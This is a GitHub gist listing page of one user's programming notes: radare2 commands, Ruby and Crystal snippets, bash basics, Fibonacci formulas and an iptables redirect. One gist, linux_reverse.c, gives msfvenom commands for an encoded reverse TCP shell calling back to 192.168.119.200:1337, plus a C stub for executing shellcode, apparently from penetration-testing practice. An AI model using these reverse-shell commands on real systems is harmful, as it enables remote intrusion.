Skip to content

Instantly share code, notes, and snippets.

Avatar

Alex ellcs

View GitHub Profile
@ellcs
ellcs / r2.sh
Last active Oct 6, 2020
radare2 notes
View r2.sh
# get only import names
afl~sym.imp[3]
# get only import addrs
afl~sym.imp[0]
# set breakpoint at 0x0 and 0x1
db $$ @@= `!echo -e "0x0\n0x1"`
# set breakpoint at every imported function
View easy_ipc.rb
require 'set'
module SpecialMessages
module Stop; end
module Ack; end
end
class WorkerFactory
def initialize
@set = Set.new
View json_crystal_union_types.cr
# https://crystal-lang.org/api/0.22.0/JSON.html
# online repl: https://play.crystal-lang.org/#/r/995s
require "json"
value = JSON.parse("[1, 2, 3]").raw # : JSON::Any
# (Array(JSON::Any) | Bool | Float64 | Hash(String, JSON::Any) | Int64 | String | Nil)
typeof(value)
if value.is_a?(Array)
View martini.sh
# gleiche zuweisung
var1=abc
var2="abc"
echo "$var1"
echo "$var2"
# string mit spaces
var3="abc def"
var4=abc\ def
@ellcs
ellcs / fibbonacci.rb
Created Apr 27, 2020
Fast fibbonacci
View fibbonacci.rb
# https://en.wikipedia.org/wiki/Fibonacci_number#Closed-form_expression
N = (1 + Math::sqrt(5)) / 2
M = (1 - Math::sqrt(5)) / 2
def fibb(n)
(N**n - M**n) / (N - M)
end
# https://en.wikipedia.org/wiki/Fibonacci_number#Matrix_form
@ellcs
ellcs / hacks.rb
Last active Apr 22, 2020
Helpful ruby oneliners
View hacks.rb
# create random groups of people
%w(james bob alice eve tux).shuffle.each_slice(2).to_a
# => [["bob", "eve"], ["alice", "tux"], ["james"]]
# assign random tools to people (tools can be empty)
people = %w(james bob alice eve tux)
tools = %w(hammer chainsaw screwdriver)
people.shuffle.zip(tools)
# => [["alice", "hammer"], ["james", "screwdriver"], ["tux", "chainsaw"], ["bob", nil], ["eve", nil]]
View yarv_check.rb
require 'contracts'
# https://ruby-doc.org/core-2.6/RubyVM/InstructionSequence.html
module B
def c; end
end
def global_method; end
class A
View iptables_cheat_sheet.sh
# redirect port to another port
sudo iptables -t nat -A OUTPUT -o lo -p tcp --dport 9000 -j REDIRECT --to-port 5000
@ellcs
ellcs / linux_reverse.c
Last active Mar 28, 2020
Execute bytearray in C
View linux_reverse.c
// You can just generate an elf file:
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f elf -e x86/shikata_ga_nai -o rev
// $ chmod u+x rev
// ./rev
// Or compile it on your own:
// $ gcc -z execstack linux_reverse.c
int main() {
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.119.200 LPORT=1337 -f c
// NOPs added by hand
@ellcs
ellcs / log.rb
Created Mar 20, 2020
ruby log with filename and line
View log.rb
def log(str); c = caller.first.split(":")[0..1].join(":"); puts "#{c} \"#{str}\""; emd
You can’t perform that action at this time.